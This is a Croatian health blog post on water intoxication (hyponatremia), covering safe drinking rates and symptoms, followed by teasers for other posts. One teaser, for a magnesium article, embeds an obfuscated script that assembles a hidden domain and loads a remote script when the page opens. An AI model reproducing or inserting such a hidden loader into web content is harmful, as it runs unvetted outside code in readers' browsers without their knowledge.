ŠTO JE TROVANJE VODOM?




Što je trovanje vodom?




Visoke temperature ponovno će obilježiti dane pred nama, a stručnjaci iz godine u godinu ponavljaju isti savjet – pijte dovoljno tekućine. Tijekom toplinskih valova organizam gubi više vode znojenjem, zbog čega je redovita hidracija jedan od najvažnijih načina zaštite zdravlja.





Kada previše vode postaje problem?

Većina zdravih odraslih osoba tijekom dana treba oko dvije do tri litre tekućine, iako točne potrebe ovise o temperaturi zraka, tjelesnoj aktivnosti, prehrani i zdravstvenom stanju. Najvažnije je tu količinu rasporediti tijekom cijelog dana umjesto da odjednom popijete litru ili dvije jer ste shvatili da ste premalo pili.

Ako se u vrlo kratkom razdoblju unese previše tekućine – primjerice, više od jedne litre u sat vremena, osobito ako se to ponavlja ili se popije nekoliko litara odjednom – razina natrija u krvi može se previše sniziti. To stanje naziva se hiponatrijemija, odnosno "trovanje vodom".

Iako je rijetko i najčešće se javlja kod sportaša koji tijekom dugotrajnih aktivnosti pretjerano nadoknađuju tekućinu ili kod osoba s određenim zdravstvenim stanjima, može se dogoditi i zdravim ljudima ako u vrlo kratkom vremenu popiju izrazito velike količine vode.



Kako "trovanje vodom" utječe na organizam?

Kada koncentracija natrija u krvi previše padne, voda počinje ulaziti u stanice, koje zbog toga otiču. Posebno je osjetljiv mozak jer je smješten u ograničenom prostoru lubanje.

Prvi simptomi mogu uključivati:

  • glavobolju
  • mučninu i povraćanje
  • vrtoglavicu
  • zbunjenost
  • osjećaj izrazitog umora.

U težim slučajevima mogu se javiti grčevi, gubitak svijesti, pa čak i životno ugrožavajuće komplikacije. Srećom, takvi su slučajevi vrlo rijetki i uglavnom se mogu izbjeći jednostavnim pravilom – vodu piti postupno tijekom dana.

Dobar dio dnevnog unosa tekućine bilo bi korisno ostvariti tijekom jutra i poslijepodneva, dok navečer vrijedi malo usporiti. Tako ćete se lakše naspavati jer vas potreba za odlaskom na toalet neće buditi usred noći.

Naravno, ako ste žedni, vodu ne treba izbjegavati ni navečer – riječ je samo o tome da najveći dio dnevne količine ne ostavljate za posljednjih nekoliko sati prije spavanja.


Tijekom toplinskih valova dovoljno vode jedan je od najboljih "saveznika" zdravlja, ali ključ je u ravnoteži. Umjesto velikih količina odjednom pijte manje gutljaje tijekom cijelog dana. Tako ćete organizmu omogućiti da se lakše rashladi i zadrži pravilnu ravnotežu tekućine i elektrolita, bez nepotrebnog opterećenja.




Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više